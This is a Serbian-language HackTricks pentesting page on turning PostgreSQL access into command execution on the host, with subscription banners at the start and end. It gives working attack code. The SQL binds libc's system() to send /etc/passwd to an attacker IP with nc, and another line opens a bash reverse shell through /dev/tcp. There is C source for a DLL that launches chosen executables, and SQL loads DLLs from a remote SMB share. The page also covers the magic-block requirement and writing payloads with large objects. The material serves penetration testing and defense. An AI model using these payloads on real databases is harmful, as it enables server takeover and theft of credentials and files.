Da li radite u kompaniji za kibernetičku bezbednost? Želite da vidite svoju kompaniju reklamiranu na HackTricks-u? Ili želite da imate pristup najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu? Proverite SUBSCRIPTION PLANS!
PostgreSQL je razvijen sa mogućnošću proširivosti kao osnovnom karakteristikom, omogućavajući mu da bez problema integriše ekstenzije kao da su ugrađene funkcionalnosti. Ove ekstenzije, suštinski biblioteke napisane u C-u, obogaćuju bazu podataka dodatnim funkcijama, operatorima ili tipovima.
Od verzije 8.1 nadalje, postoji specifičan zahtev za ekstenzijske biblioteke: moraju biti kompajlirane sa posebnim zaglavljem. Bez toga, PostgreSQL ih neće izvršiti, obezbeđujući korišćenje samo kompatibilnih i potencijalno bezbednih ekstenzija.
Izvršavanje sistemskih komandi iz PostgreSQL-a verzije 8.1 i starijih je proces koji je jasno dokumentovan i jednostavan. Moguće je koristiti ovaj: Metasploit modul.
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECTsystem('cat /etc/passwd | nc <attacker IP> <attacker port>');# You can also create functions toopenand write filesCREATE OR REPLACEFUNCTIONopen(cstring, int, int) RETURNSintAS'/lib/libc.so.6', 'open'LANGUAGE'C' STRICT;CREATE OR REPLACEFUNCTIONwrite(int, cstring, int) RETURNSintAS'/lib/libc.so.6', 'write'LANGUAGE'C' STRICT;CREATE OR REPLACEFUNCTIONclose(int) RETURNSintAS'/lib/libc.so.6', 'close'LANGUAGE'C' STRICT;
Upisivanje binarnog fajla iz base64
Da biste upisali binarni fajl u postgresu, možda ćete morati koristiti base64, ovo će biti korisno za tu svrhu:
CREATE OR REPLACEFUNCTIONwrite_to_file(fileTEXT, s TEXT) RETURNSintAS$$DECLAREfh int;s int;w bytea;i int;BEGINSELECTopen(textout(file)::cstring, 522, 448) INTO fh;IF fh <=2THENRETURN1;ENDIF;SELECT decode(s, 'base64') INTO w;i :=0;LOOPEXIT WHEN i >= octet_length(w);SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;IF rs <0THENRETURN2;ENDIF;i := i +1;ENDLOOP;SELECTclose(fh) INTO rs;RETURN0;END;$$ LANGUAGE'plpgsql';
Međutim, kada je pokušano na većim verzijama, prikazana je sledeća greška:
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic blockHINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
Da bi se osiguralo da se dinamički učitani objektni fajl ne učita u nekompatibilni server, PostgreSQL proverava da li fajl sadrži "magic block" sa odgovarajućim sadržajem. Ovo omogućava serveru da otkrije očigledne nekompatibilnosti, kao što je kod kompajliran za drugu glavnu verziju PostgreSQL-a. Magic block je obavezan od PostgreSQL verzije 8.2. Da biste uključili magic block, napišite ovo u jednom (i samo jednom) od izvornih fajlova modula, nakon što ste uključili zaglavlje fmgr.h:
#ifdef PG_MODULE_MAGICPG_MODULE_MAGIC;#endif
Od verzije PostgreSQL-a 8.2, proces za napadača da iskoristi sistem je postao izazovniji. Napadač mora ili koristiti biblioteku koja već postoji na sistemu ili otpremiti prilagođenu biblioteku. Ova prilagođena biblioteka mora biti kompajlirana protiv kompatibilne glavne verzije PostgreSQL-a i mora sadržati određeni "magic block". Ova mera značajno povećava težinu iskorišćavanja PostgreSQL sistema, jer zahteva dublje razumevanje arhitekture sistema i kompatibilnosti verzija.
Kompajliranje biblioteke
Dobijte verziju PostgreSQL-a sa:
SELECTversion();PostgreSQL 9.6.3on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.020170516, 64-bit
Za kompatibilnost je važno da se glavne verzije poklapaju. Stoga, kompajliranje biblioteke sa bilo kojom verzijom unutar serije 9.6.x trebalo bi osigurati uspešnu integraciju.
Zatim otpremite kompajliranu biblioteku i izvršite komande sa:
CREATEFUNCTIONsys(cstring) RETURNSintAS'/tmp/pg_exec.so','pg_exec'LANGUAGECSTRICT;SELECTsys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');#Notice the double single quotes are needed to scape the qoutes
Možete pronaći ovu biblioteku prekompajliranu za nekoliko različitih verzija PostgreSQL-a, a čak možete i automatizovati ovaj proces (ako imate pristup PostgreSQL-u) sa:
Sledeća DLL datoteka uzima kao ulaz ime binarne datoteke i brojputa koje želite da je izvršite i izvršava je:
#include"postgres.h"#include<string.h>#include"fmgr.h"#include"utils/geo_decls.h"#include<stdio.h>#include"utils/builtins.h"#ifdefPG_MODULE_MAGICPG_MODULE_MAGIC;#endif/* Add a prototype marked PGDLLEXPORT */PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);PG_FUNCTION_INFO_V1(pgsql_exec);/* this function launches the executable passed in as the first parameterin a FOR loop bound by the second parameter that is also passed*/Datumpgsql_exec(PG_FUNCTION_ARGS){/* convert text pointer to C string */#defineGET_STR(textp) DatumGetCString(DirectFunctionCall1(textout,PointerGetDatum(textp)))/* retrieve the second argument that is passed to the function (an integer)that will serve as our counter limit*/int instances =PG_GETARG_INT32(1);for (int c =0; c < instances; c++) {/*launch the process passed in the first parameter*/ShellExecute(NULL,"open", GET_STR(PG_GETARG_TEXT_P(0)),NULL,NULL,1);}PG_RETURN_VOID();}
Možete pronaći DLL kompajliran u ovom zipu:
Možete naznačiti ovom DLL-u koju binarnu datoteku da izvrši i koliko puta da je izvrši, u ovom primeru će izvršiti calc.exe 2 puta:
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECTremote_exec('calc.exe',2);DROPFUNCTIONremote_exec(text,integer);
Obratite pažnju kako je u ovom slučaju zlonamjeran kod unutar funkcije DllMain. To znači da u ovom slučaju nije potrebno izvršiti učitanu funkciju u postgresql-u, samo učitavanje DLL-a će izvršiti obrnutu ljusku:
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
RCE u najnovijim verzijama Postgresa
U najnovijim verzijama PostgreSQL-a, uvedena su ograničenja koja onemogućavajusuperuser-u da učitava deljene biblioteke izuzev iz određenih direktorijuma, kao što su C:\Program Files\PostgreSQL\11\lib na Windowsu ili /var/lib/postgresql/11/lib na *nix sistemima. Ovi direktorijumi su zaštićeni od operacija pisanja od strane korisnika NETWORK_SERVICE ili postgres.
Uprkos ovim ograničenjima, moguće je da autentifikovani superuser baze podataka piše binarne fajlove na fajl sistem koristeći "large objects". Ova mogućnost se proširuje na pisanje unutar direktorijuma C:\Program Files\PostgreSQL\11\data, što je neophodno za operacije baze podataka kao što su ažuriranje ili kreiranje tabela.
Značajna ranjivost nastaje iz komande CREATE FUNCTION, koja omogućava prolazak kroz direktorijume do data direktorijuma. Kao rezultat toga, autentifikovani napadač može iskoristiti ovaj prolazak da bi napisao deljenu biblioteku u data direktorijum, a zatim je učitao. Ovaj napad omogućava napadaču izvršavanje proizvoljnog koda, postižući izvršavanje izvornog koda na sistemu.
Tok napada
Prvo, morate koristiti large objects za otpremanje dll fajla. Možete videti kako to uraditi ovde:
Da li radite u cybersecurity kompaniji? Želite li da vidite vašu kompaniju reklamiranu na HackTricks-u? Ili želite da imate pristup najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu? Proverite SUBSCRIPTION PLANS!